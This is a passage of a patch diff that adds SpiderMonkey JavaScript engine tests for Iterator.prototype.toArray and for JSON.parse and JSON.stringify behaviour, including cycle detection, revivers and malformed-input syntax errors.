+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+
+const iter = [1, 2, 3].values();
+assertEq(Array.isArray(iter), false);
+
+const array = iter.toArray();
+assertEq(Array.isArray(array), true);
+assertEq(array.length, 3);
+
+const expected = [1, 2, 3];
+for (const item of array) {
+ const expect = expected.shift();
+ assertEq(item, expect);
+}
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/toArray/value-throws-iterator-not-closed.js b/js/src/tests/non262/Iterator/prototype/toArray/value-throws-iterator-not-closed.js
new file mode 100644
index 0000000000..ca56de8a66
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/toArray/value-throws-iterator-not-closed.js
@@ -0,0 +1,25 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+
+class TestError extends Error {}
+class TestIterator extends Iterator {
+ next() {
+ return new Proxy({done: false}, {get: (target, key, receiver) => {
+ if (key === 'value')
+ throw new TestError();
+ return 0;
+ }});
+ }
+
+ closed = false;
+ return() {
+ closed = true;
+ }
+}
+
+const iterator = new TestIterator();
+assertEq(iterator.closed, false, 'iterator starts unclosed');
+assertThrowsInstanceOf(() => iterator.toArray(), TestError);
+assertEq(iterator.closed, false, 'iterator remains unclosed');
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/JSON/browser.js b/js/src/tests/non262/JSON/browser.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/JSON/browser.js
diff --git a/js/src/tests/non262/JSON/cyclic-stringify-unrelated.js b/js/src/tests/non262/JSON/cyclic-stringify-unrelated.js
new file mode 100644
index 0000000000..127c2ca600
--- /dev/null
+++ b/js/src/tests/non262/JSON/cyclic-stringify-unrelated.js
@@ -0,0 +1,39 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 1197097;
+var summary = "JSON.stringify shouldn't use context-wide cycle detection";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var arr;
+
+// Nested yet separate JSON.stringify is okay.
+arr = [{}];
+assertEq(JSON.stringify(arr, function(k, v) {
+ assertEq(JSON.stringify(arr), "[{}]");
+ return v;
+}), "[{}]");
+
+// SpiderMonkey censors cycles in array-joining. This mechanism must not
+// interfere with the cycle detection in JSON.stringify.
+arr = [{
+ toString: function() {
+ var s = JSON.stringify(arr);
+ assertEq(s, "[{}]");
+ return s;
+ }
+}];
+assertEq(arr.join(), "[{}]");
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/JSON/cyclic-stringify.js b/js/src/tests/non262/JSON/cyclic-stringify.js
new file mode 100644
index 0000000000..5eb6273a97
--- /dev/null
+++ b/js/src/tests/non262/JSON/cyclic-stringify.js
@@ -0,0 +1,100 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 578273;
+var summary =
+ "ES5: Properly detect cycles in JSON.stringify (throw TypeError, check for " +
+ "cycles rather than imprecisely rely on recursion limits)";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+// objects
+
+var count = 0;
+var desc =
+ {
+ get: function() { count++; return obj; },
+ enumerable: true,
+ configurable: true
+ };
+var obj = Object.defineProperty({ p1: 0 }, "p2", desc);
+
+try
+{
+ var str = JSON.stringify(obj);
+ assertEq(false, true, "should have thrown, got " + str);
+}
+catch (e)
+{
+ assertEq(e instanceof TypeError, true,
+ "wrong error type: " + e.constructor.name);
+ assertEq(count, 1,
+ "cyclic data structures not detected immediately");
+}
+
+count = 0;
+var obj2 = Object.defineProperty({}, "obj", desc);
+try
+{
+ var str = JSON.stringify(obj2);
+ assertEq(false, true, "should have thrown, got " + str);
+}
+catch (e)
+{
+ assertEq(e instanceof TypeError, true,
+ "wrong error type: " + e.constructor.name);
+ assertEq(count, 2,
+ "cyclic data structures not detected immediately");
+}
+
+
+// arrays
+
+var count = 0;
+var desc =
+ {
+ get: function() { count++; return arr; },
+ enumerable: true,
+ configurable: true
+ };
+var arr = Object.defineProperty([], "0", desc);
+
+try
+{
+ var str = JSON.stringify(arr);
+ assertEq(false, true, "should have thrown, got " + str);
+}
+catch (e)
+{
+ assertEq(e instanceof TypeError, true,
+ "wrong error type: " + e.constructor.name);
+ assertEq(count, 1,
+ "cyclic data structures not detected immediately");
+}
+
+count = 0;
+var arr2 = Object.defineProperty([], "0", desc);
+try
+{
+ var str = JSON.stringify(arr2);
+ assertEq(false, true, "should have thrown, got " + str);
+}
+catch (e)
+{
+ assertEq(e instanceof TypeError, true,
+ "wrong error type: " + e.constructor.name);
+ assertEq(count, 2,
+ "cyclic data structures not detected immediately");
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/JSON/parse-arguments.js b/js/src/tests/non262/JSON/parse-arguments.js
new file mode 100644
index 0000000000..d7ed6d73bd
--- /dev/null
+++ b/js/src/tests/non262/JSON/parse-arguments.js
@@ -0,0 +1,30 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var gTestfile = 'parse-arguments.js';
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 653847;
+var summary = "JSON.parse handling of omitted arguments";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+try
+{
+ var r = JSON.parse();
+ throw new Error("didn't throw, returned " + r);
+}
+catch (e)
+{
+ assertEq(e instanceof SyntaxError, true, "expected syntax error, got: " + e);
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/JSON/parse-array-gc.js b/js/src/tests/non262/JSON/parse-array-gc.js
new file mode 100644
index 0000000000..f617ea66dc
--- /dev/null
+++ b/js/src/tests/non262/JSON/parse-array-gc.js
@@ -0,0 +1,34 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var gTestfile = "parse-array-gc.js";
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 852563;
+var summary =
+ "IdValuePair::value should be initialized to avoid GC sequence-point issues";
+
+print(BUGNUMBER + ": " + summary);
+
+print("Note: You must run this test under valgrind to be certain it passes");
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var x;
+
+if (typeof gczeal === "function")
+ gczeal(2, 1);
+x = JSON.parse('{"foo":[]}');
+Object.getPrototypeOf(x.foo) == Array.prototype;
+x = JSON.parse('{"foo":[], "bar":[]}');
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+if (typeof gczeal === "function")
+ gczeal(0);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/JSON/parse-crockford-01.js b/js/src/tests/non262/JSON/parse-crockford-01.js
new file mode 100644
index 0000000000..5be9e90edb
--- /dev/null
+++ b/js/src/tests/non262/JSON/parse-crockford-01.js
@@ -0,0 +1,121 @@
+var str =
+ '[\n' +
+ ' "JSON Test Pattern pass1",\n' +
+ ' {"object with 1 member":["array with 1 element"]},\n' +
+ ' {},\n' +
+ ' [],\n' +
+ ' -42,\n' +
+ ' true,\n' +
+ ' false,\n' +
+ ' null,\n' +
+ ' {\n' +
+ ' "integer": 1234567890,\n' +
+ ' "real": -9876.543210,\n' +
+ ' "e": 0.123456789e-12,\n' +
+ ' "E": 1.234567890E+34,\n' +
+ ' "": 23456789012E66,\n' +
+ ' "zero": 0,\n' +
+ ' "one": 1,\n' +
+ ' "space": " ",\n' +
+ ' "quote": "\\"",\n' +
+ ' "backslash": "\\\\",\n' +
+ ' "controls": "\\b\\f\\n\\r\\t",\n' +
+ ' "slash": "/ & \\/",\n' +
+ ' "alpha": "abcdefghijklmnopqrstuvwyz",\n' +
+ ' "ALPHA": "ABCDEFGHIJKLMNOPQRSTUVWYZ",\n' +
+ ' "digit": "0123456789",\n' +
+ ' "0123456789": "digit",\n' +
+ ' "special": "`1~!@#$%^&*()_+-={\':[,]}|;.</>?",\n' +
+ ' "hex": "\\u0123\\u4567\\u89AB\\uCDEF\\uabcd\\uef4A",\n' +
+ ' "true": true,\n' +
+ ' "false": false,\n' +
+ ' "null": null,\n' +
+ ' "array":[ ],\n' +
+ ' "object":{ },\n' +
+ ' "address": "50 St. James Street",\n' +
+ ' "url": "http://www.JSON.org/",\n' +
+ ' "comment": "// /* <!-- --",\n' +
+ ' "# -- --> */": " ",\n' +
+ ' " s p a c e d " :[1,2 , 3\n' +
+ '\n' +
+ ',\n' +
+ '\n' +
+ '4 , 5 , 6 ,7 ],"compact":[1,2,3,4,5,6,7],\n' +
+ ' "jsontext": "{\\"object with 1 member\\":[\\"array with 1 element\\"]}",\n' +
+ ' "quotes": "&#34; \\u0022 %22 0x22 034 &#x22;",\n' +
+ ' "\\/\\\\\\"\\uCAFE\\uBABE\\uAB98\\uFCDE\\ubcda\\uef4A\\b\\f\\n\\r\\t`1~!@#$%^&*()_+-=[]{}|;:\',./<>?"\n' +
+ ': "A key can be any string"\n' +
+ ' },\n' +
+ ' 0.5 ,98.6\n' +
+ ',\n' +
+ '99.44\n' +
+ ',\n' +
+ '\n' +
+ '1066,\n' +
+ '1e1,\n' +
+ '0.1e1,\n' +
+ '1e-1,\n' +
+ '1e00,2e+00,2e-00\n' +
+ ',"rosebud"]\n';
+
+var x = JSON.parse(str);
+
+assertEq(x[0], "JSON Test Pattern pass1");
+assertEq(x[1]["object with 1 member"][0], "array with 1 element");
+assertEq(x[2].constructor, Object);
+assertEq(x[3].constructor, Array);
+assertEq(x[4], -42);
+assertEq(x[5], true);
+assertEq(x[6], false);
+assertEq(x[7], null);
+assertEq(x[8].constructor, Object);
+assertEq(x[8]["integer"], 1234567890);
+assertEq(x[8]["real"], -9876.543210);
+assertEq(x[8]["e"], 0.123456789e-12);
+assertEq(x[8]["E"], 1.234567890E+34);
+assertEq(x[8][""], 23456789012E66);
+assertEq(x[8]["zero"], 0);
+assertEq(x[8]["one"], 1);
+assertEq(x[8]["space"], " ");
+assertEq(x[8]["quote"], "\"");
+assertEq(x[8]["backslash"], "\\");
+assertEq(x[8]["controls"], "\b\f\n\r\t");
+assertEq(x[8]["slash"], "/ & /");
+assertEq(x[8]["alpha"], "abcdefghijklmnopqrstuvwyz");
+assertEq(x[8]["ALPHA"], "ABCDEFGHIJKLMNOPQRSTUVWYZ");
+assertEq(x[8]["digit"], "0123456789");
+assertEq(x[8]["0123456789"], "digit");
+assertEq(x[8]["special"], "`1~!@#$%^&*()_+-={':[,]}|;.</>?");
+assertEq(x[8]["hex"], "\u0123\u4567\u89AB\uCDEF\uabcd\uef4A");
+assertEq(x[8]["true"], true);
+assertEq(x[8]["false"], false);
+assertEq(x[8]["null"], null);
+assertEq(x[8]["array"].length, 0);
+assertEq(x[8]["object"].constructor, Object);
+assertEq(x[8]["address"], "50 St. James Street");
+assertEq(x[8]["url"], "http://www.JSON.org/");
+assertEq(x[8]["comment"], "// /* <!-- --");
+assertEq(x[8]["# -- --> */"], " ");
+assertEq(x[8][" s p a c e d "].length, 7);
+assertEq(x[8]["compact"].length, 7);
+assertEq(x[8]["jsontext"], "{\"object with 1 member\":[\"array with 1 element\"]}");
+assertEq(x[8]["quotes"], "&#34; \u0022 %22 0x22 034 &#x22;");
+assertEq(x[8]["\/\\\"\uCAFE\uBABE\uAB98\uFCDE\ubcda\uef4A\b\f\n\r\t`1~!@#$%^&*()_+-=[]{}|;:',./<>?"], "A key can be any string");
+assertEq(x[9], 0.5);
+assertEq(x[10], 98.6);
+assertEq(x[11], 99.44);
+assertEq(x[12], 1066);
+assertEq(x[13], 1e1);
+assertEq(x[14], 0.1e1);
+assertEq(x[15], 1e-1);
+assertEq(x[16], 1e00);
+assertEq(x[17], 2e+00);
+assertEq(x[18], 2e-00);
+assertEq(x[19], "rosebud");
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/JSON/parse-mega-huge-array.js b/js/src/tests/non262/JSON/parse-mega-huge-array.js
new file mode 100644
index 0000000000..8f1c192c1e
--- /dev/null
+++ b/js/src/tests/non262/JSON/parse-mega-huge-array.js
@@ -0,0 +1,28 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var gTestfile = 'parse-mega-huge-array.js';
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 667527;
+var summary = "JSON.parse should parse arrays of essentially unlimited size";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var body = "0,";
+for (var i = 0; i < 21; i++)
+ body = body + body;
+var str = '[' + body + '0]';
+
+var arr = JSON.parse(str);
+assertEq(arr.length, Math.pow(2, 21) + 1);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/JSON/parse-number-syntax.js b/js/src/tests/non262/JSON/parse-number-syntax.js
new file mode 100644
index 0000000000..42dbbe0b45
--- /dev/null
+++ b/js/src/tests/non262/JSON/parse-number-syntax.js
@@ -0,0 +1,32 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+testJSON('-', true);
+testJSON('+', true);
+testJSON('-f', true);
+testJSON('+f', true);
+testJSON('00', true);
+testJSON('01', true);
+testJSON('1.', true);
+testJSON('1.0e', true);
+testJSON('1.0e+', true);
+testJSON('1.0e-', true);
+testJSON('1.0e+z', true);
+testJSON('1.0e-z', true);
+testJSON('1.0ee', true);
+testJSON('1.e1', true);
+testJSON('1.e+1', true);
+testJSON('1.e-1', true);
+testJSON('.', true);
+testJSON('.1', true);
+testJSON('.1e', true);
+testJSON('.1e1', true);
+testJSON('.1e+1', true);
+testJSON('.1e-1', true);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/JSON/parse-octal-syntax-error.js b/js/src/tests/non262/JSON/parse-octal-syntax-error.js
new file mode 100644
index 0000000000..f7b0a13a6f
--- /dev/null
+++ b/js/src/tests/non262/JSON/parse-octal-syntax-error.js
@@ -0,0 +1,8 @@
+testJSON('{"Numbers cannot have leading zeroes": 013}', true);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/JSON/parse-primitives.js b/js/src/tests/non262/JSON/parse-primitives.js
new file mode 100644
index 0000000000..450e1a6577
--- /dev/null
+++ b/js/src/tests/non262/JSON/parse-primitives.js
@@ -0,0 +1,62 @@
+var x;
+
+// check an empty object, just for sanity
+var emptyObject = "{}";
+x = JSON.parse(emptyObject);
+assertEq(typeof x, "object");
+assertEq(x instanceof Object, true);
+
+x = JSON.parse(emptyObject);
+assertEq(typeof x, "object");
+
+// booleans and null
+x = JSON.parse("true");
+assertEq(x, true);
+
+x = JSON.parse("true ");
+assertEq(x, true);
+
+x = JSON.parse("false");
+assertEq(x, false);
+
+x = JSON.parse(" null ");
+assertEq(x, null);
+
+// numbers
+x = JSON.parse("1234567890");
+assertEq(x, 1234567890);
+
+x = JSON.parse("-9876.543210");
+assertEq(x, -9876.543210);
+
+x = JSON.parse("0.123456789e-12");
+assertEq(x, 0.123456789e-12);
+
+x = JSON.parse("1.234567890E+34");
+assertEq(x, 1.234567890E+34);
+
+x = JSON.parse(" 23456789012E66 \r\r\r\r \n\n\n\n ");
+assertEq(x, 23456789012E66);
+
+// strings
+x = JSON.parse('"foo"');
+assertEq(x, "foo");
+
+x = JSON.parse('"\\r\\n"');
+assertEq(x, "\r\n");
+
+x = JSON.parse(' "\\uabcd\uef4A"');
+assertEq(x, "\uabcd\uef4A");
+
+x = JSON.parse('"\\uabcd" ');
+assertEq(x, "\uabcd");
+
+x = JSON.parse('"\\f"');
+assertEq(x, "\f");
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/JSON/parse-reviver-array-delete.js b/js/src/tests/non262/JSON/parse-reviver-array-delete.js
new file mode 100644
index 0000000000..c343058785
--- /dev/null
+++ b/js/src/tests/non262/JSON/parse-reviver-array-delete.js
@@ -0,0 +1,89 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var gTestfile = 'parse-reviver-array-delete.js';
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 999999;
+var summary = "JSON.parse with a reviver which elides array elements";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+/*
+ * The reviver deletes all properties from the to-be-returned array. Thus
+ * stringification reveals properties on the prototype chain -- but there are
+ * none, so this result is unsurprising.
+ */
+assertEq(JSON.parse('[1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0]',
+ function revive(k, v)
+ {
+ if (k === "")
+ return v;
+ return undefined;
+ }) + "",
+ ",,,,,,,,,,,,,,,,,,,");
+
+/*
+ * Now let's try a reviver that deletes every property but a mega-huge one.
+ */
+var str = "[";
+var expected = "";
+var expected2 = "";
+for (var i = 0; i < 2048; i++)
+{
+ str += "1,";
+ if (i === 2047)
+ {
+ expected += "1";
+ expected2 += "1";
+ }
+ if (i === 3)
+ expected2 += "17";
+ expected += ",";
+ expected2 += ",";
+}
+str += "1]";
+
+assertEq(JSON.parse(str,
+ function reviver(k, v)
+ {
+ if (k === "" || k === "2047")
+ return v;
+ return undefined;
+ }) + "",
+ expected);
+
+
+Array.prototype[3] = 17;
+
+/* Now, with a property on the prototype chain, it'll show through. */
+assertEq(JSON.parse('[1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0]',
+ function revive(k, v)
+ {
+ if (k === "")
+ return v;
+ return undefined;
+ }) + "",
+ ",,,17,,,,,,,,,,,,,,,,");
+
+
+/* And here too. */
+assertEq(JSON.parse(str,
+ function reviver(k, v)
+ {
+ if (k === "" || k === "2047")
+ return v;
+ return undefined;
+ }) + "",
+ expected2);
+
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/JSON/parse-reviver.js b/js/src/tests/non262/JSON/parse-reviver.js
new file mode 100644
index 0000000000..41e3daf704
--- /dev/null
+++ b/js/src/tests/non262/JSON/parse-reviver.js
@@ -0,0 +1,45 @@
+function doubler(k, v)
+{
+ assertEq(typeof k, "string");
+
+ if (typeof v == "number")
+ return 2 * v;
+
+ return v;
+}
+
+var x = JSON.parse('{"a":5,"b":6}', doubler);
+assertEq(x.hasOwnProperty('a'), true);
+assertEq(x.hasOwnProperty('b'), true);
+assertEq(x.a, 10);
+assertEq(x.b, 12);
+
+x = JSON.parse('[3, 4, 5]', doubler);
+assertEq(x[0], 6);
+assertEq(x[1], 8);
+assertEq(x[2], 10);
+
+// make sure reviver isn't called after a failed parse
+var called = false;
+function dontCallMe(k, v)
+{
+ called = true;
+}
+
+try
+{
+ JSON.parse('{{{{{{{}}}}', dontCallMe);
+ throw new Error("didn't throw?");
+}
+catch (e)
+{
+ assertEq(e instanceof SyntaxError, true, "wrong exception: " + e);
+}
+assertEq(called, false);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/JSON/parse-syntax-errors-01.js b/js/src/tests/non262/JSON/parse-syntax-errors-01.js
new file mode 100644
index 0000000000..cbb49b0eb7
--- /dev/null
+++ b/js/src/tests/non262/JSON/parse-syntax-errors-01.js
@@ -0,0 +1,13 @@
+testJSON("{}...", true);
+testJSON('{"foo": truBBBB}', true);
+testJSON('{foo: truBBBB}', true);
+testJSON('{"foo": undefined}', true);
+testJSON('{"foo": ]', true);
+testJSON('{"foo', true);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/JSON/parse-syntax-errors-02.js b/js/src/tests/non262/JSON/parse-syntax-errors-02.js
new file mode 100644
index 0000000000..b304e07ca0
--- /dev/null
+++ b/js/src/tests/non262/JSON/parse-syntax-errors-02.js
@@ -0,0 +1,43 @@
+testJSON('"Unterminated string literal', true);
+testJSON('["Unclosed array"', true);
+testJSON('{unquoted_key: "keys must be quoted"}', true);
+testJSON('["extra comma",]', true);
+testJSON('["double extra comma",,]', true);
+testJSON('[ , "<-- missing value"]', true);
+testJSON('["Comma after the close"],', true);
+testJSON('["Extra close"]]', true);
+testJSON('{"Extra comma": true,}', true);
+testJSON('{"Extra value after close": true} "misplaced quoted value"', true);
+testJSON('{"Illegal expression": 1 + 2}', true);
+testJSON('{"Illegal invocation": alert()}', true);
+testJSON('{"Numbers cannot be hex": 0x14}', true);
+testJSON('["Illegal backslash escape: \\x15"]', true);
+testJSON('[\\naked]', true);
+testJSON('["Illegal backslash escape: \\017"]', true);
+testJSON('{"Missing colon" null}', true);
+testJSON('{"Double colon":: null}', true);
+testJSON('{"Comma instead of colon", null}', true);
+testJSON('["Colon instead of comma": false]', true);
+testJSON('["Bad value", truth]', true);
+testJSON("['single quote']", true);
+testJSON('[" tab character in string "]', true);
+testJSON('["tab\\ character\\ in\\ string\\ "]', true);
+testJSON('["line\rbreak"]', true);
+testJSON('["line\nbreak"]', true);
+testJSON('["line\r\nbreak"]', true);
+testJSON('["line\\\rbreak"]', true);
+testJSON('["line\\\nbreak"]', true);
+testJSON('["line\\\r\nbreak"]', true);
+testJSON('[0e]', true);
+testJSON('[0e+]', true);
+testJSON('[0e+-1]', true);
+testJSON('{"Comma instead of closing brace": true,', true);
+testJSON('["mismatch"}', true);
+testJSON('0{', true);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/JSON/parse-syntax-errors-03.js b/js/src/tests/non262/JSON/parse-syntax-errors-03.js
new file mode 100644
index 0000000000..5cdf585a40
--- /dev/null
+++ b/js/src/tests/non262/JSON/parse-syntax-errors-03.js
@@ -0,0 +1,55 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+testJSON('[', true);
+testJSON('[1', true);
+testJSON('[1,]', true);
+testJSON('[1,{', true);
+testJSON('[1,}', true);
+testJSON('[1,{]', true);
+testJSON('[1,}]', true);
+testJSON('[1,{"', true);
+testJSON('[1,}"', true);
+testJSON('[1,{"\\', true);
+testJSON('[1,}"\\', true);
+testJSON('[1,"', true);
+testJSON('[1,"\\', true);
+
+testJSON('{', true);
+testJSON('{1', true);
+testJSON('{,', true);
+testJSON('{"', true);
+testJSON('{"\\', true);
+testJSON('{"\\u', true);
+testJSON('{"\\uG', true);
+testJSON('{"\\u0', true);
+testJSON('{"\\u01', true);
+testJSON('{"\\u012', true);
+testJSON('{"\\u0123', true);
+testJSON('{"\\u0123"', true);
+testJSON('{"a"', true);
+testJSON('{"a"}', true);
+testJSON('{"a":', true);
+testJSON('{"a",}', true);
+testJSON('{"a":}', true);
+testJSON('{"a":,}', true);
+testJSON('{"a":5,}', true);
+testJSON('{"a":5,[', true);
+testJSON('{"a":5,"', true);
+testJSON('{"a":5,"', true);
+testJSON('{"a":5,"\\', true);
+testJSON("a[false ]".substring(1, 7) /* "[false" */, true);
+
+testJSON('this', true);
+
+testJSON('[1,{}]', false);
+testJSON('{}', false);
+testJSON('{"a":5}', false);
+testJSON('{"\\u0123":5}', false);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/JSON/parse.js b/js/src/tests/non262/JSON/parse.js
new file mode 100644
index 0000000000..ff9dc51a79
--- /dev/null
+++ b/js/src/tests/non262/JSON/parse.js
@@ -0,0 +1,175 @@
+function assertIsObject(x)
+{
+ assertEq(typeof x, "object");
+ assertEq(x instanceof Object, true);
+}
+
+function assertIsArray(x)
+{
+ assertIsObject(x);
+ assertEq(Array.isArray(x), true);
+ assertEq(Object.getPrototypeOf(x), Array.prototype);
+ assertEq(x instanceof Array, true);
+ assertEq(x.constructor, Array);
+}
+
+var x;
+var props;
+
+// empty object
+x = JSON.parse("{}");
+assertIsObject(x);
+assertEq(Object.getOwnPropertyNames(x).length, 0);
+
+// empty array
+x = JSON.parse("[]");
+assertIsArray(x);
+assertEq(x.length, 0);
+
+// one element array
+x = JSON.parse("[[]]");
+assertIsArray(x);
+assertEq(x.length, 1);
+assertIsArray(x[0]);
+assertEq(x[0].length, 0);
+
+// multiple arrays
+x = JSON.parse("[[],[],[]]");
+assertIsArray(x);
+assertEq(x.length, 3);
+assertIsArray(x[0]);
+assertEq(x[0].length, 0);
+assertIsArray(x[1]);
+assertEq(x[1].length, 0);
+assertIsArray(x[2]);
+assertEq(x[2].length, 0);
+
+// array key/value
+x = JSON.parse('{"foo":[]}');
+assertIsObject(x);
+props = Object.getOwnPropertyNames(x);
+assertEq(props.length, 1);
+assertEq(props[0], "foo");
+assertIsArray(x.foo);
+assertEq(x.foo.length, 0);
+
+x = JSON.parse('{"foo":[], "bar":[]}');
+assertIsObject(x);
+props = Object.getOwnPropertyNames(x).sort();
+assertEq(props.length, 2);
+assertEq(props[0], "bar");
+assertEq(props[1], "foo");
+assertIsArray(x.foo);
+assertEq(x.foo.length, 0);
+assertIsArray(x.bar);
+assertEq(x.bar.length, 0);
+
+// nesting
+x = JSON.parse('{"foo":[{}]}');
+assertIsObject(x);
+props = Object.getOwnPropertyNames(x);
+assertEq(props.length, 1);
+assertEq(props[0], "foo");
+assertIsArray(x.foo);
+assertEq(x.foo.length, 1);
+assertIsObject(x.foo[0]);
+assertEq(Object.getOwnPropertyNames(x.foo[0]).length, 0);
+
+x = JSON.parse('{"foo":[{"foo":[{"foo":{}}]}]}');
+assertIsObject(x.foo[0].foo[0].foo);
+
+x = JSON.parse('{"foo":[{"foo":[{"foo":[]}]}]}');
+assertIsArray(x.foo[0].foo[0].foo);
+
+// strings
+x = JSON.parse('{"foo":"bar"}');
+assertIsObject(x);
+props = Object.getOwnPropertyNames(x);
+assertEq(props.length, 1);
+assertEq(props[0], "foo");
+assertEq(x.foo, "bar");
+
+x = JSON.parse('["foo", "bar", "baz"]');
+assertIsArray(x);
+assertEq(x.length, 3);
+assertEq(x[0], "foo");
+assertEq(x[1], "bar");
+assertEq(x[2], "baz");
+
+// numbers
+x = JSON.parse('{"foo":5.5, "bar":5}');
+assertIsObject(x);
+props = Object.getOwnPropertyNames(x).sort();
+assertEq(props.length, 2);
+assertEq(props[0], "bar");
+assertEq(props[1], "foo");
+assertEq(x.foo, 5.5);
+assertEq(x.bar, 5);
+
+// keywords
+x = JSON.parse('{"foo": true, "bar":false, "baz":null}');
+assertIsObject(x);
+props = Object.getOwnPropertyNames(x).sort();
+assertEq(props.length, 3);
+assertEq(props[0], "bar");
+assertEq(props[1], "baz");
+assertEq(props[2], "foo");
+assertEq(x.foo, true);
+assertEq(x.bar, false);
+assertEq(x.baz, null);
+
+// short escapes
+x = JSON.parse('{"foo": "\\"", "bar":"\\\\", "baz":"\\b","qux":"\\f", "quux":"\\n", "quuux":"\\r","quuuux":"\\t"}');
+props = Object.getOwnPropertyNames(x).sort();
+assertEq(props.length, 7);
+assertEq(props[0], "bar");
+assertEq(props[1], "baz");
+assertEq(props[2], "foo");
+assertEq(props[3], "quuuux");
+assertEq(props[4], "quuux");
+assertEq(props[5], "quux");
+assertEq(props[6], "qux");
+assertEq(x.foo, '"');
+assertEq(x.bar, '\\');
+assertEq(x.baz, '\b');
+assertEq(x.qux, '\f');
+assertEq(x.quux, "\n");
+assertEq(x.quuux, "\r");
+assertEq(x.quuuux, "\t");
+
+// unicode escape
+x = JSON.parse('{"foo":"hmm\\u006dmm"}');
+assertIsObject(x);
+props = Object.getOwnPropertyNames(x);
+assertEq(props.length, 1);
+assertEq(props[0], "foo");
+assertEq("hmm\u006dmm", x.foo);
+
+x = JSON.parse('{"hmm\\u006dmm":"foo"}');
+assertIsObject(x);
+props = Object.getOwnPropertyNames(x);
+assertEq(props.length, 1);
+assertEq(props[0], "hmmmmm");
+assertEq(x.hmm\u006dmm, "foo");
+
+// miscellaneous
+x = JSON.parse('{"JSON Test Pattern pass3": {"The outermost value": "must be an object or array.","In this test": "It is an object." }}');
+assertIsObject(x);
+props = Object.getOwnPropertyNames(x);
+assertEq(props.length, 1);
+assertEq(props[0], "JSON Test Pattern pass3");
+assertIsObject(x["JSON Test Pattern pass3"]);
+props = Object.getOwnPropertyNames(x["JSON Test Pattern pass3"]).sort();
+assertEq(props.length, 2);
+assertEq(props[0], "In this test");
+assertEq(props[1], "The outermost value");
+assertEq(x["JSON Test Pattern pass3"]["The outermost value"],
+ "must be an object or array.");
+assertEq(x["JSON Test Pattern pass3"]["In this test"], "It is an object.");
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/JSON/regress-458959.js b/js/src/tests/non262/JSON/regress-458959.js
new file mode 100644
index 0000000000..648918e8ed
--- /dev/null
+++ b/js/src/tests/non262/JSON/regress-458959.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
